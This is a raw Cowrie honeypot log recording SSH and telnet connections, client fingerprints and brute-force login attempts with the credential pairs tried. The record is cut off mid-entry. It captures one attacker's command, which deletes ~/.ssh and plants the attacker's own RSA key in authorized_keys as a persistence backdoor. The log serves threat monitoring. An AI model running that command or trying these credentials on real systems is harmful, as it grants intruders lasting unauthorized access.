{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:45.202803Z","src_ip":"91.92.40.4","session":"a216e1a84fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:45.986727Z","src_ip":"91.92.40.4","session":"a216e1a84fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:47.251886Z","src_ip":"91.92.40.4","session":"a216e1a84fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":24279,"dst_ip":"10.17.0.5","dst_port":22,"session":"825c565c32c0","protocol":"ssh","message":"New connection: 180.247.63.92:24279 (10.17.0.5:22) [session: 825c565c32c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:50.701203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:50.705906Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:50.970393Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:52.055603Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:52.626221Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:52.629024Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:52.631975Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:53.156643Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:53.467443Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:53.470078Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:53.737728Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:53.741214Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":12549,"dst_ip":"10.17.0.5","dst_port":22,"session":"c023602d189a","protocol":"ssh","message":"New connection: 180.247.63.92:12549 (10.17.0.5:22) [session: c023602d189a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:54.002047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:54.005408Z","src_ip":"180.247.63.92","session":"c023602d189a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:54.268433Z","src_ip":"180.247.63.92","session":"c023602d189a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:55.353049Z","src_ip":"180.247.63.92","session":"c023602d189a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.222","src_port":58456,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f1ecddd5bd9","protocol":"ssh","message":"New connection: 64.62.156.222:58456 (10.17.0.5:22) [session: 0f1ecddd5bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:56.268837Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003Y^\\x8eL\\xa5\\x81\\xb5\u001c\\x84\\xed\u00ea\u0007\\xf0I\\x95l\u0017<\\xa1~\\x84\\x95\u001c\u070fQ\\xf9Q3\\x83B\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003Y^\\x8eL\\xa5\\x81\\xb5\u001c\\x84\\xed\u00ea\u0007\\xf0I\\x95l\u0017<\\xa1~\\x84\\x95\u001c\u070fQ\\xf9Q3\\x83B\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:56.273236Z","src_ip":"64.62.156.222","session":"0f1ecddd5bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:56.276470Z","src_ip":"64.62.156.222","session":"0f1ecddd5bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:56.622734Z","src_ip":"180.247.63.92","session":"c023602d189a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":14805,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2943cf2c748","protocol":"ssh","message":"New connection: 180.247.63.92:14805 (10.17.0.5:22) [session: f2943cf2c748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:56.872664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:56.877576Z","src_ip":"180.247.63.92","session":"f2943cf2c748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":32632,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e514e506b9f","protocol":"ssh","message":"New connection: 147.45.199.80:32632 (159.203.135.109:22) [session: 7e514e506b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:57.012302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:57.017031Z","src_ip":"147.45.199.80","session":"7e514e506b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:57.115952Z","src_ip":"147.45.199.80","session":"7e514e506b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:57.134746Z","src_ip":"180.247.63.92","session":"f2943cf2c748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nhfkzkz","message":"login attempt [root/nhfkzkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:57.416860Z","src_ip":"147.45.199.80","session":"7e514e506b9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:58.195258Z","src_ip":"180.247.63.92","session":"f2943cf2c748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:58.454026Z","src_ip":"180.247.63.92","session":"f2943cf2c748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:58.460632Z","src_ip":"180.247.63.92","session":"825c565c32c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:47:58.517602Z","src_ip":"147.45.199.80","session":"7e514e506b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":50908,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a1991814f8d","protocol":"ssh","message":"New connection: 94.138.209.214:50908 (159.203.135.109:22) [session: 1a1991814f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:48:23.219865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:48:23.223898Z","src_ip":"94.138.209.214","session":"1a1991814f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:48:23.353764Z","src_ip":"94.138.209.214","session":"1a1991814f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1234567@","message":"login attempt [root/a1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:48:23.912304Z","src_ip":"94.138.209.214","session":"1a1991814f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:48:25.045922Z","src_ip":"94.138.209.214","session":"1a1991814f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45046,"dst_ip":"159.203.135.109","dst_port":23,"session":"73810d2c0615","protocol":"telnet","message":"New connection: 170.64.224.25:45046 (159.203.135.109:23) [session: 73810d2c0615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:48:51.230499Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":8399,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bb1bb546c9b","protocol":"ssh","message":"New connection: 203.121.40.210:8399 (159.203.135.109:22) [session: 7bb1bb546c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:04.261868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:04.267182Z","src_ip":"203.121.40.210","session":"7bb1bb546c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","a